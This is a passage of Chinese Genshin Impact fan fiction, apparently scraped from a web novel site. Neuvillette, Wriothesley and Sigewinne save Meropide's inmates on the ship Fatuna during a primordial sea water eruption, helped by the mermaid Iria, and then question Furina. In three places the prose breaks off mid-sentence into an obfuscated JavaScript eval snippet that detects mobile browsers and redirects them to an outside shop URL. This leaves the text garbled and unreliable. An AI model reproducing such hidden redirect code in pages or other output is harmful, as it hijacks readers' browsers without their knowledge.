地面突如其来的抖动,将毫无防备,伸展着身体懒洋洋趴在盆沿,都已经舒服地快要睡着了的小人鱼硬生生颠出了脸盆,“啪叽”一下,摔在地上。 “呀?”伊芮娅伸手揉了揉屁股,茫然地抬起小脸看了看那维莱特,又低头伸出爪子拍了拍地,趴下侧头附耳,细细听着地下深处传来的动静。 那维莱特和莱欧斯利齐齐拧眉,目光随之划落在地面上。 希格雯捏着帕子,撒擦去泼洒在桌上的水,开口打破了此刻的寂静,“这是……地下传来的震动?” “走!”莱欧斯利猝然起身道,“去看压力阀。” 只见他刚刚走到书架,伸出的手指尚未触碰到机关,办公室的密道就已经从内部被人打开了。 一男一女两个研究员前后气喘吁吁地跑了出来,拄着膝盖,断断续续道道:“指针……指针到……红区了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948702|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>莱欧斯利大惊,当即望向那维莱特。 那维莱特微愣过后,阔步走下暗道的旋转楼梯,穿过三道打开了的阀门,来到压力盘上方的露台处。 莱欧斯利、希格雯和两位研究员也跟了下来,站在一侧。趴在地上不显眼,也没吭气的小人鱼,则被忘在了上面。 那维莱特站定后,稍稍感应了几息,偏头果断道:“莱欧斯利,通知所有人,立刻往高层撤退。再告知警备厅,暂时开放梅洛彼得堡的升降电梯,用最快的速度运行。” 莱欧斯利一怔,下意识问道:“现在连你也控制不住了?” 那维莱特“嗯”了一声,抬手聚水,“以我目前的感知来看,一是这次原始胎海水的暴动很厉害,且不知道时长;二是压力阀的耐受程度已经到达了极限,马上将会损毁;三是我虽能控制住大部分的原始胎海水,但容器破损,无法将它重新缚在此处。” “暂时撤离梅洛彼得堡,是目前最好的选择。” “梅洛彼得堡现在只剩下正门升降电梯一个出入口,让这里的五千余位都从正门离开,显然不现实。”莱欧斯利思量了几息,重重一叹,神色带有明显的决绝道:“上层往上,下层往下。” 那维莱特一愣:“什么?” 然而,莱欧斯利没有回他,飞快跑回了办公室,对着传音喇叭,大吸一口气,提高声音喊道:“现遇到突发事件,请在梅洛彼得堡内部的所有人员即刻停下手中事务!听从撤离安排!” “以管理区为分界,现在位于接待处、监舍区两层的所有人员前往升降电梯,由警务人员维持秩序撤离;管理区,以及生产区上下两层,往下撤到废弃生产区西北方向,封锁的大门之前。” “所有人请立刻行动,如有拖延,后果自负。” 莱欧斯利口气极重的说完这句话,“啪”一下,将广播断了,折头想返回地下禁区帮忙。 将将上来的希格雯和两位研究员赶忙拦住了他。 “那维莱特大人让我们也快离开这里。”希格雯拽着他的袖口说道。 “留他一个人应对?”莱欧斯利稍显迟疑,少顷,他像是想到了什么,轻点下颌道,“听他的。” “你们三个快去上面,我下去。” “公爵大人,你注意安全。”说完,两位研究员小跑出了办公室。 而应该一起离开的希格雯,却五指收紧,平静地望着莱欧斯利,断然拒绝道:“我和你一起下去,我是美露莘,不用担心我。” 莱欧斯利:“……” 他心知扭不过希格雯,而现在很明显也不是应该讲道理的场合,于是颔首应下,单臂抱起小短腿的希格雯,如旋风一般离开了。 在距离他们几人方才短暂交谈之地,大约三米之外,伊芮娅曲着尾巴坐在盘沿,很是失落地幽幽叹了一声。 好像……他们都把自己忘记了…… 伤心难过了几秒钟,伊芮娅振作起来,鱼尾巴一撅,在地上站稳,接着蹦跶到密道口,沿着楼梯往下挪。 它在海沫村学到了一句璃月古话:山不来见我,我自去寻山。 它是外来物种,大概是不怕原始胎海水的,干脆下去陪着蓝鱼鱼好啦~ 嗯,应该不会给他添麻烦吧…… 49.Chapter 49 7.26 Friday 凌晨月藏 夜幕低垂,那倒影的海面上的一抹亮白色的弯月,渐渐被海的暗涌吞噬殆尽。天上无月,夜空无星,寒凉的晚风推着浪花一层又一层的往陆地上叠。遥遥望去,恍然之间居然会觉得,天与地的交界变得模糊不堪,仿佛下一秒将会天地倒置,海水倾覆。 在幽邃的海底深处,莱欧斯利带着希格雯,一路维持秩序,一路催促行进,终于是在半个小时之内,将绝大部分“听话”的犯人撵到了梅洛彼得堡的地下五层,这个受到环境影响,迫不得已废弃多年的生产区里。 莱欧斯利站在人群最后,仰着脖子向前看了片刻,低下头,交代了希格雯两句,随即跨步跃上废弃的钢板堆,沿着钢材几个起落之后,停在人群中部的一处小高台上。 现在这种情况,按着花名册,一个一个点名显然是不现实的。他飞快环视过场内,根据现场密密麻麻的人头,在心里大概估了个数。 聚集在这里的,或主动或被动下来的人不算少,起码比他先前预估的数量要多上一倍。 在他暗自计数的时候,台下被一条广播急召赶至这里的犯人们正在小声低咕个不停。 “哎,你说公爵大人让我们到这里是做什么?” “这谁知道呢?” “公爵大人让我们来,我们就应该来,问这么多作甚?” “这不是最近水上好像不太平,我这这月见着那维莱特大人好几次。” “今儿他是不是也来了?我拿着特许卷去用餐的时候,好像看见他走进下层电梯了。” “不管怎木说,反正现在把我们聚集到早就封闭的地下五层,指定不会是什么好消息。” “是啊,听广播,应该是梅洛彼得堡出了很严重的事情。我们临时撤离到这里,避难的吧。” “说不准还真是这样!” ………… “唉!你们瞧那,公爵大人怎么到封锁的大门去了?” 众人侧身扭头,瞧见莱欧斯利站在足有七八米高的巨大铁门之前。他抬起手臂,屈指握拳,对准门环上,挂着的一把足有一米大小,因为常年处在湿润环境中,已经遍布锈斑的铁锁。 “公爵大人,这是要……砸碎铁锁吗?” 话音刚落,只见莱欧斯利蓄力出拳,蕴含着极强的爆裂力的冰暴从他拳上炸开,狠狠砸向铁锁。 顺着这股拳风,铁锁被冰锥狠狠压在门上,发出“嗡”的撞击声。 众人下意识捂住耳朵,相互拥挤着往后退了好些。 待一击平静过后,莱欧斯利半眯下眼,望着铁锁的锁头上裂开的缝隙,轻轻“啧”了一声,而后接连挥出三拳。 “咔嗒”一声,铁锁应声而断,掉在地上。 失了约束的大门,徐徐打开。 随着视野逐步开阔,一艘巨大的游轮出现在众人眼中。 莱欧斯利转过身,背着着游轮,张臂扬声道:“欢迎你们来到,‘法图纳号’” 与此同时,在梅洛彼得堡办公室下方的禁区之中,那维莱特仿佛化身成了一道分界线。 他身后是落下的铁板阀门,而他的面前,则充盈着单看颜色很是梦幻的、明亮的蓝紫色原始胎海水。 一干一湿,一暗一明,一满一缺之间,好似自成了一个以水为天幕的小世界。 蹦跶着下来帮忙的伊芮娅,在跳到被那维莱特身后三米开外的地方发现。 甫一听到动静,那维莱特才反应过来,他把小人鱼忘了,立马分心化出一小股水,托起它,控制着水流,将它重新塞进源水之滴里。 原始胎海,不仅是孕育出了提瓦特大多数物种的生命之源,更是一汪极其富有生命力的海。 那维莱特没有水之权能,能控制一时,却无法压制一世。 随着时间的缓缓流逝,原始胎海的反抗越发激烈,他感觉这一次的喷发,已经悄然到达了临界点。 他现在最多还能撑个十几分钟,将原始胎海水强行压制在这里。 从莱欧斯利喊话开始算,至今也有将近四十分钟了,也不知道梅洛彼得堡里的人,都顺利撤离出去没。 一二层从正门升降电梯走的那部分人,他倒是不担心。一来一二两层人不多,四十分钟的时间,怎么样都足够他们撤离了;二来原始胎海水受与海平面的影响,暂时不会涌到地面上,他们只要上到地面,就安全了。 令龙发愁的,主要还是听莱欧斯利指挥,往地下深处跑的那部分,正处于服刑期,且占梅洛彼得堡人口绝大多数,处于三四层尚在生产工作的犯人。 对于以一龙之力,抵挡原始胎海水的那维莱特而言,十分钟的时间说长不长,说短也不短。 只听那维莱特低叹一声。下一瞬,原始胎海水宛如一头终于挣脱束缚的凶兽,张开血盆大口,迎头扑向那维莱特。 能溶解枫丹人的原始胎海水自水之龙王身边咆哮而过,沿着梅洛彼得堡的管道疯狂地扩张地盘。 那维莱特稳稳立在湍急的水流之中,眉心微拢,打算去地下五层看看,却不想一扭头,长期飘在右侧耳旁的源水之滴,没了踪迹。 他愣了一瞬,后知后觉反应过来,就在刚刚,源水之滴被涌出的原始胎海水给卷走了…… 于是乎,他往感应到的方向,追了上去。 所幸,许是水往低处流的定律。 源水之滴被水卷走的方向,正是到地下五层的必经之路。 没一会,那维莱特就在地下三层通往地下四层的电梯亭中,截下了源水之滴。 他还没来得及松口气,定睛往里一看,却是发现源水之滴里空空如也。 那维莱特耳尖微动,影影约约听见下方传来合力齐呼的人声。 小人鱼没了踪迹。 然而此刻,确实是顾不上它了。 那维莱特眸光一冷,俯冲向下游去。眨眼间便轻松赶上了水流的速度,破水而出,先一步抵达了地下五层。 他穿过虚掩的巨门,眼前豁然开朗。 入目只见一艘足有十余米高的巨轮停在梅洛彼得堡的破口处。 数千位犯人正站在甲板上,合力拉动纤绳,想让巨轮进入海中。 在他们的努力下,百米长的船身已经有三分之一的船体,穿过了隔水屏障。 但很明显,按他们的速度,在原始胎海水涌下来之前,肯定来不及。 “大家伙快看啊,那维莱特大人来了!”甲板上,有眼尖的人,已经发现了那维莱特,对身边的同伴高声喊到。 而此时,那维莱特也看见了站在巨轮下方,正冲着巨大的船身,不断挥拳释放冰元素冲击,和用水化成泡泡,顶着巨轮往外走的莱欧斯利和希格雯。 他先是冲甲板微微点了点头,接着闪身至船下,抬手轰出水柱。 莱欧斯利感觉手上一轻,船身向前挪了得有七八米,又抬眼望见水柱,心底了然。他 挥拳动作没停,微微偏头道:“你来了。” 那维莱特“嗯”了下,严肃道:“有些来不及了。” 莱欧斯利一怔,随即沿着船身上的脚架,三两下爬上去,扬声对着甲板上的人说道:“所有人,撤到隔水屏障后面,闭气游进船舱!” 就在他话音刚落,原始胎海水冲开沉重的铁门,像巨轮冲来。 那维莱特眸色一暗,脚尖点地跃至半空,一手控制水柱推动船体,一手凝出一块水幕,挡住原始胎海水。 但原始胎海水来势汹汹,他又要分心分力同时维持两件事,一时有些分身乏术。 大约过了一分钟,巨轮已经只剩下六分之一的船身搭在地面上。 为救世而生的方舟“法图纳号”,只差最后一点点,就可以脱离地面,满载可贵的生命驶向海洋。 躲在巨轮之上,目前生死未卜的数千人类,透过小小的轩窗,都在凝望着那维莱特。 不知道是谁起头,高声喊了一句:“那维莱特大人,我们不想死!” “请您救救我们!” 船上的人很快接连高呼了起来,形成一阵力量不逊于海啸的冲天悲歌。 见状,莱欧斯利脸薄唇紧抿,手搭上船边护栏,就想翻下去,和不畏惧原始胎海水的希格雯一起,继续推船。 那维莱特虽然背对着他,但是仿佛预知了他的动作,及时开口制止道:“很危险,你留在船上,也去船舱里。” “管不了这么多了!”莱欧斯利扯着脖子喊了一句,正想跳下船去,就听见前方传来一阵连绵不绝的“咿咿呀呀”声。 这个声音,那维莱特和莱欧斯利都很熟悉,是伊芮娅的。 然后,他们就眼睁睁瞧着从原始胎海水里滚出一个银团子,穿过了那维莱特凝出的水屏障,狠狠砸在巨轮船身上。 仅有“法图纳号”千分之一大小的伊芮娅,凭借这一击,硬生生将巨轮往前推了五米远。 再然后,银白色的团子晃晃悠悠“啪叽”一下摔在地上,两只小爪子捂着尾巴,腮帮子鼓得圆圆得往尾鳍上呼气。 离它不远的希格雯赶忙跑过来,将它抱起来,捏了个水泡泡,就想往船上送。 伊芮娅连忙道:“不呀,我不怕紫水水!” “你……”希格雯有些不知道该说什么。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13957845|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也要帮忙!”伊芮娅握紧拳头,小脸上满是坚毅,“大眼睛,可以把我送到上面吗?” 说着伊芮娅伸手指了指那维莱特所在耳朵方向。 希格雯本能地点了下头,而后抬眸看了眼那维莱特。 但那维莱特距离她有些远,而且此时实在是无暇分心处理这边的事。 突然希格雯想到小人鱼是就从原始胎海水里跑出来的,看来它也不怕,于是便操纵着泡泡,将它送至半空。 伊芮娅用尾巴撑起身子,立在希格雯捏的粉蓝泡泡里,随后缓缓闭上眼睛,抬起双手,摆出和那维莱特极其相似的姿势。 它之前成功过的,它可以,它一定可以…… 就这么酝酿了十几秒,伊芮娅用力呵了一声,紧接着,掌心喷出一股“水龙王炮mini版”。 垂眸关注着它的莱欧斯利沉默着摇了摇头。 “别下来!”伊芮娅扬声叫住了他,“我再试一次,一定可以的!” 就这么,小人鱼又试了两次,都成功喷出了水柱,只可惜都是“水龙王炮mini版”,远不及那维莱特的原版,对推船也没有什么帮助。 就在它有些泄气,打算再尝试最后一次,不行就还是回原始胎海水里,游远点,再冲回来撞船。 这时,那维莱特凝结的水屏幕“咔”一下,出现了如蛛网一般的裂纹。 见状,莱欧斯利顾不得那么多了,翻出栅栏,跳在希格雯捏的,还载着伊芮娅的泡泡上垫了下脚,飞身对着水屏障捶出三道冰旋风,将水化的屏障冻结成了一道冰障。 然而,不过三息,冰障再度出现裂缝。 已经挡不住了! 那维莱特心一横,索性完全放弃加固和维持屏障,转身催动水元素力,全力推船。 他余光扫过以单膝跪地的姿势落在地面上的莱欧斯利,喊道:“希格雯!把莱欧斯利送回去。” “好的!” 希格雯完全放弃了推船,如法炮制得又捏了个泡泡,用最快的速度将莱欧斯利包裹起来,往船上送去。 现在推船的,只有那维莱特一条龙。 仅是一次呼吸的时间,伊芮娅亲眼看着冰障寸寸龟裂,而“法图纳号”距离完全入水不过十米。 情急之下,伊芮娅下意识抬手,对着巨轮船身,再一次召集水的力量。 这回,一个和那维莱特一样的水柱出现了。 有了伊芮娅的加入,“法图纳号”在原始胎海水袭来的最后一秒,成功穿过隔水屏障,没入深海。 不用再推船,那维莱特收力,凝出只有半个,呈现出半球型的源水之滴,贴合覆盖在枫丹科学院研发出品的隔水屏障上,而后又回到办公室禁区,施力将原始胎海水稍稍压了一部分,重新封印回去。 做完收尾工作,他沿着海水的波动,寻到了已经浮到海面上的“法图纳号”。 那维莱特望着劫后余生的人们哭泣着,拥抱着,欢呼着,默默错身隐去身形,悄无声息地来到巨轮最高层的甲板上。 莱欧斯利正在此处负手而立,眺望着远方,静静等待着他。 那维莱特一边从衣服上分离水分,一边问侧目问道:“伊芮娅怎么样了?” 方才,伊芮娅突破了极限,使用出威力不打折扣的水龙王炮。 但只维持了两秒,堪堪将巨轮推入海水,伊芮娅就力竭,陷入昏迷了。 那维莱特当即抱住小人鱼,送到希格雯手上,交代她照顾片刻,之后才独自处理起后续事项。 莱欧斯利回道:“没什么大概,护士长给她打了一剂营养针,休息两天就没问题了。” “嗯。” “原始胎海水怎么突然爆发了?”莱欧斯利转身,抱着手,神色不明道,“你最后回去,有发现什么吗?” 见无人注意此地,那维莱特撤去障眼水幕,淡淡道,“还不清楚,这次爆发的很奇怪。” “你说……”莱欧斯利屈指摩挲着下巴,思忖半响,不慎确定道:“会不会和在梅洛彼得堡消失的「公子」,有所关联?” 那维莱特一愣,问道:“还没找到他吗?” “‘法图纳号’出水的第一时间,我就与警务员联系了。然后我刚才点名时,也顺带问了,「公子」才刚来,而且一直在医务室,三四层没有人见过他。” 莱欧斯利顿了顿,补充道道,“而警务员刚给我回了信,从升降电梯正门走的一二层人员,非但「公子」不在其中,除了押运人员,其他人也是一样,都没有见过他。” 闻言,那维莱特垂下银灰色的眼眸,望着船下与夜空融为一体的墨色海水,若有所思。 50.Chapter 50 7.26 Friday 破晓云粉 原始胎海水暴动。 梅洛彼得堡被毁。 「公子」下落不明。 接连三重噩事压在头顶,莱欧斯利不禁仰头望着漆黑的天,忽然发觉这天色倒是各外衬心情。 那昏暗的夜幕,不正是“法图纳号”不明的前路。 璃月人常说的:借景抒情,便是这个意思了吧。 他抬手揉了揉眉心,正打算开口,就听见那维莱特说道:“原始胎海水正在以一种非正常的增长速度向外溢出。想来前代水神厄歌莉娅修建梅洛彼得堡,并将违反枫丹法律的人送到此处,便是为了看守原始胎海水。” “但时至今日,梅洛彼得堡独立于枫丹廷外,自成体系,这段往事逐渐流散在时间的尘烟之内,且现任水神……” 那维莱特停顿了片刻,终究还是咽下了他心里对芙宁娜的评价,叹道:“总而言之,在多种原因交叠之下,梅洛彼得堡内部多处年久失修,缺少维护,撑不了太久。若是胎海水再以今日的速度,今日之场景暴动,梅洛彼得堡必将失守。” 莱欧斯利面色凝重道:“届时,原始胎海水将会融于海水之中,而枫丹的海平面……会上涨吗?” 话落,他看着那维莱特阖上双眸。 答案,不言而喻。 “在今日之前,我曾听过那条古老的枫丹预言。”莱欧斯利道,“但它荒谬夸大的言辞,与言之凿凿的断然,让我从未将其放在心上。” “假设,倘若真的有一天,原始胎海水汇入枫丹内海。那触碰到海水的枫丹人,还会被溶解在水中吗?” 那维莱特沉吟片刻,摇了摇头,答道:“不清楚。现今与之相关,可以用作参考的,只有壁炉之家的菲米尼和琳妮特两例。” “她们没有被溶解,但在接触了含有原始胎海水的海域之后,出现了昏迷不醒,全身脱力的情况。” 说到这里,那维莱特喟然长叹,“稍后,我会再去与芙宁娜细聊这个问题。” “行,我也得去,刚好一起了。”莱欧斯利拍了拍身前的拉杆,说道,“我要去问问水神,‘法图纳号’和这一艘船的人,要怎么办。” “或者,你有什么好的建议或者意见吗?” 那维莱特想了想,“我的看法是,暂时由‘法图纳号’代替梅洛彼得堡,停泊在新枫丹科学院下方海域。此处相对僻静孤立,即不影响周围海域,又因周围无居民区,能在维持其‘监狱’职能的同时,做好应急预案。当出现紧急突发事件,利用其距离枫丹主城区不算远的优势,可以做到尽快支援,在最大程度上减少枫丹的损失。” “这是我的观点,其具体细节或者其他方案,还需与芙宁娜商议。” 莱欧斯利听完,颇为认同地颔首道,“行,就先按你说得这样。” 他伸出双手,撑在栏杆上,望着远处漫无边际的黑,幽幽道:“原始胎海水,危及枫丹民众;梅洛彼得堡,前代秩序崩塌;「公子」失踪,至冬外交问责。” “枫丹,马上就要迎来一场实打实的硬仗了。” 那维莱特无可否认地点了点头。 “等天明,你与我一起去沫芒宫一趟吧。”那维莱特转身道,“我去看看伊芮娅。” 随着时间的流逝,幽邃的,黝黑如漆墨砚台似的天,宛如被注入了至清的水,在摇晃中渐渐褪去了颜色。 天慢慢变灰,又随着旭日冉冉上升,在晨光的洗礼下变得愈发透亮,最终定格在了澄明的浅橘色。 天橙海碧,通体棕褐色的“法图纳号”被夹在其中,与这海景格格不入的同时,还显得分外孤单。 在最后一抹红完全跳出蔚蓝的海平面时,巨轮靠岸停下。 莱欧斯利站在打开的门前,反手扣了两下,对着里面背身坐在床沿的那维莱特说道:“走吧,现在正好七点整,从这里去到沫芒宫,时间差不多。” 那维莱特轻抚过伊芮娅银白色的长发,眸光温和,“希格雯,这两日拜托你了。” 正在一旁给伤员包扎的希格雯点点头。 伊芮娅自来到提瓦特,一直被那维莱特保护得很好,整个枫丹不超十指之数的生物见过它。 然而,现在却是整艘船的人,都认识它了。 它今天凌晨的时候,从原始胎海水中一跃而出,然后又用出水龙王炮,可谓是在众目睽睽之下一鸣惊人。 对此,那维莱特也只能无奈地接受,伊芮娅已经在人前露了脸的事实。 所幸,只是“法图纳号”上的这一部分…… 嗯,但这些都是违反过枫丹法律的,尚在服刑期的犯人…… 罪名包括,但又不限于杀人放火、偷摸盗窃、绑架强劫…… 想到这里,那维莱特已经跨出门的脚又收了回来,回到伊芮娅躺着的病床前,凝出一颗源水之滴,在床尾放下,然后才忧心忡忡地随莱欧斯利离开。 去沫芒宫的路上,莱欧斯利还就此事发散,调侃了他好一会。 在一龙一人临到沫芒宫前,位于与其仅相距一条街的丁字路口时,一身着黑袍之人,微微別开脸,与莱欧斯利擦肩而过。 下一刻,他蓦然停下脚步,眉心皱起。 “怎么了?”那维莱特亦停了下来,侧目问道。 莱欧斯利转过身,却见在他扭头的同一时间,黑袍人像是发现了什么,脚步陡然加快,以迅雷不及掩耳之势右转进他们方才走过的街道。 “……” “没什么,许是看错了。” 那维莱特思索了片刻,面无表情道,“那是塞勒洛斯。” “谁?” “和伊芮娅一样,一个异世的降临者,最近跟在芙宁娜身边。” 听到这个答案,莱欧斯利肉眼可见地松了口气,“那应该是我认错了。” “你将他认成了谁?”那维莱特奇道。 “一个……早已去世多年的幼时玩伴。” 那维莱特默然,少顷,他抬手学着莱欧斯利平日里的动作,拍了拍他的肩,“走吧。” 对比起莱欧斯利的片刻失神,那维莱特明面上看着正常,可实际上,他已经开始在心里暗自思忖起有关“塞勒洛斯为什么会去这个方向”的几种可能。 很快,一龙一人各怀心事走进了沫芒宫。 沫芒宫一般是九点上班,现在七点四十左右,里面只有几位值班人员。不过水神芙宁娜的住所就在沫芒宫内,他们这也算不上来得过早。 那维莱特随意寻到一位女性值班人员,请她即刻走一趟,去楼上给芙宁娜递个信儿。 而后便带着莱欧斯利先一步去水神休息室等候。 约莫一刻钟之后,芙宁娜一面打着哈欠,一面用手理了理额前的刘海,睡眼惺忪地开门进来。 “怎么这么早就来了,找我有事吗?”她慢吞吞挪到沙发前,一屁股坐下,“塞勒洛斯,麻烦帮我泡一壶红茶。” “……”那维莱特半眯下眼,略带审视的视线落在芙宁娜身上,缓缓道,“他不在。” “哎?不在吗?”芙宁娜拍了下脑袋,“哦对,还没到上班的点。那没办法了,我去泡吧。” 她话音刚落,莱欧斯利便起身,说道:“你们坐,我去泡。” 虽说枫丹不是很讲究等级制度,但让身为水神的芙宁娜泡茶,他坐着,还是有点太超前了。 “嗯,也行。”芙宁娜道,“早就听闻梅洛彼得堡的公爵大人最是爱茶,更泡得一手好茶。难得公爵大人过来一次,看来今天日子不错。” 那维莱特:“……” 没一会儿,莱欧斯利端着茶盘过来,在三人面前的茶几上各放了一杯。 几乎是莱欧斯利刚屁股挨上沙发布料,芙宁娜立刻伸出手,端起杯子,抿了一口,而后双手捧握着杯身,杯底搭放在腿上。 一时之间,场面陷入诡异的安静,没有人说话。 莱欧斯利自觉身份,坐下之后便在等那维莱特开头。 而那维莱特,正不紧不慢地收回投向芙宁娜的目光,低垂下眼眉,像是在思考什么。 芙宁娜则是不断端起杯子,嘴唇碰一下又碰一下,一连五六次,然而茶杯中的水却不见减少。 沉默地坐了半响,莱欧斯利颇感尴尬地笑了一下,挑起了话头:“昨夜十一点四十九分至今天凌晨二点一十六分,梅洛彼得堡出了桩很严重的事故。” “什么事故?”芙宁娜抬眼望过去,问道,“这就是你来找我的原因吗?” “是的。”莱欧斯利下颌微低,沉声道,“想必芙宁娜大人知道,梅洛彼得堡的正下方,连通原始胎海。是初代水神厄歌莉娅,为守卫原始胎海而建。” 听到芙宁娜鼻子出气“嗯”了一声,莱欧斯利继续说道:“昨夜原始胎海暴动,冲破封印灌满了梅洛彼得堡。在那维莱特大人的帮助下,堡内人员除个别失踪人员,绝大多数都已安全撤离。” “我之前修建了一艘……” “不好意思,打断一下。”芙宁娜立掌,突然开口道,“首先,我是继位的二代水神,初代做了什么,我并不知晓,也不关心;其次,这部分事务,应由那维莱特处理。” 莱欧斯利闻言一愣。 按芙宁娜的意思,这么大的事,不必同她汇报?再有,她说不知道厄歌莉娅的安排,又是怎么回事? 他下意识望向那维莱特。 不想,那维莱特屈指敲了敲座椅的实木扶手,笃定道:“芙宁娜,你既已收到消息,知晓此事,又何必装做一无所知的模样。” “我知道什么了?”芙宁娜眼睛瞪得溜圆,腿上的还由双手扶着的茶杯一晃,洒出一点水,打湿了她裙裤的一小块。 膝盖上方,约有掌心大小的一块吸了水,明显变得颜色更深的区域,乍眼看去,格外突兀。 而芙宁娜好像也意识到了这一点,双臂微微挪动,将其挡住了。 “你实在有些刻意了。”那维莱特分析道,“从我让值班人员去寻你,到你过来,中间不过十五分钟。你进来的时候,有意向我们暗示你才醒不久,为此还整理了下发型。” “然而,你如果刚从床上下来,从你以前的习惯看,十五分钟的时间,显然并不够你梳理打整。特别是你的头发。” “我方才从侧方细细察时发现,你的头发很整齐。刚刚睡醒,应是靠着枕头的后方头发凌乱毛躁,但你的头发显然已经被梳理过了,只有进来时额前的一小部分刘海略显凌乱。” 芙宁娜呛道:“我发质好,睡姿也好,睡一觉起来头发就是不会乱啊。刘海是穿套头衣服的时候带到了,所以会乱。” 那维莱特低叹了一声,抬手虚空点了点茶杯,接着说道:“再有便是你一反常态的言行。” “我心血来潮想自己泡茶,很奇怪吗?”芙宁娜一把将茶杯放到桌上,翘起二郎腿,靠着沙发背“哼”了一下,“说得好像我从来不泡茶,你也没有喝过我泡的茶一样。” 莱欧斯利不动声色地稍稍挪远了一些,安静地看着两人对峙。 “不,我不是指泡茶。”那维莱特徐徐道,“我指的是,你很刻意地提到了塞勒洛斯。且是在抱怨过我们来得太早了之后,紧接着就说自己忘了这回事。” 芙宁娜咬唇道:“这是我使唤他成习惯了。” 那维莱特:“……” “我们过来的时候,刚好遇上了塞勒洛斯从沫芒宫出去。”那维莱特道,“他说他要去海岸找一艘船。” 芙宁娜不假思索,惊呼道:“什么?我明明嘱咐过……” 说了一半,她突然反应了过来,立马改口道:“我明明嘱咐过他这段时间一定要常伴我左右……” 她飞快地瞟了莱欧斯利一眼,含糊不清道:“上次的刺杀,真的很吓人。” 那维莱特:“……” 可以确定一点,塞勒洛斯出去的确是受她的指示,去探查“法图纳号”的情况。 但他不明白,为什么芙宁娜是这个态度。 归根结底,这次梅洛彼得堡发生的事,与上次白淞镇坍塌,完全可以归为一类事件。 上回,芙宁娜避而不谈,对这个话题一直在回避。而这一次,她换了个策略,开始推脱责任,和起来了稀泥。 蓦然,那维莱特想到他与芙宁娜上一次交谈时,提到他知道芙宁娜在调动手下的人查探枫丹预言的相关事宜。 难道便是因为这一句话,芙宁娜这一次就选择让塞勒洛斯去了? 她分明是水之神明,枫丹的统治者,为何会如此行事? 就在那维莱特望着芙宁娜,芙宁娜翘着下巴也不甘示弱地回望那维莱特,两人眼神不断交锋,而场面又要再一次陷入诡异的死寂时,莱欧斯利开口道:“梅洛彼得堡终日阴暗潮湿,一直需要人工光源来照明。距离我上一次这样坐着,扭头就是阳光明媚,夏花绚烂……感觉过了得有七八年。” 那维莱特一愣,回道:“在我眼里,窗外的景色,岁岁年年,朝朝暮暮,都是如此。” “我们人类可比不得你。七八年的时间,已经将近是我生命的十分之一了。”莱欧斯利道。 “无论如何,你得承认。”莱欧斯利笑道,“人类的生命,很短。” “……”那维莱特敛眉道,“或许……你是对的。” “你们在说什么?”话题跑得有些快,芙宁娜完全没有跟上他们。 “没什么。”莱欧斯利提起茶壶,给芙宁娜添了一点水道,“刚刚只是一个在海底居住多年的人,一点触景生情,突发奇想的牢骚话,不重要……” “重要的是,现在灌满了整个梅洛彼得堡的原始胎海水要如何处理。” 语罢,那维莱特补充道,“以及如何应对与处理「公子」在梅洛彼得堡失踪,至冬方面向我们施加的外交压力。” “还有「博士」是否会借此机会,从梅洛彼得堡里窃取原始太海水。若他有这个打算,梅洛彼得堡是否存在提前被毁坏,原始胎海水在我们还没有准备的时候,意外泄露的风险。” 听他们这么讲,芙宁娜明白了,这两人已经不打算在演了,直接默认了她知道这件事,且把话完全摊开了说。 这下子,她再想装傻充楞,硬说自己不知道,就有些不知分寸了。 但是这三个问题,对她来说,都是烫手山芋。 原始胎海水,她不会处理;外交问题,她不想再对上「仆人」;「博士」盗窃以及后续问题,她既没有绝对的武力,也不会加固建筑……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972108|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “原始胎海的问题,我们无从下手,不若先暂时放一放。”那维莱特道,“先把来自至冬的威胁解决,再谈此事。” “我支持。”莱欧斯利道。 芙宁娜亦是跟着点了下头。 那维莱特道:“「仆人」那边我会出面,先与她交涉,在维持两国和平稳定的前提下,尽可能拖住她。至于「博士」,碍于他众多的切片,我们无法在短期内将全部的他遣送出境……” “而被动的防守,不如主动进攻。”莱欧斯利接话道。 顺着他们的思路理下去,芙宁娜猛一合掌道:“有了!我们可以给「博士」开放新枫丹科学院,邀请他参观。” “只有我们能给他一个比‘研究让人在水下呼吸的药剂’更有价值,并且能完全覆盖这款药剂功能的实验物,将他的目光转移,他自然会放弃原始胎海水。” “这边我来对接处理就行。”芙宁娜拍着胸脯说道。 “嗯~三个问题,现在已经对付了两个。你们也都有活儿干了,至于我嘛……”莱欧斯利笑道,“我就认领下,寻找「公子」的活儿吧。” 说道这里,他眨眼间收起笑容,正色低声道:“毕竟是在我的地盘上丢得人,我会把他找回来。” 那维莱特肯定地“嗯”了一声,说道:“最后,一切问题的源头,原始胎海水,我下来再想想办法吧。” “如果没有什么事了,那今天就先如此。”那维莱特转眸看向莱欧斯利,“我们分头行动。” 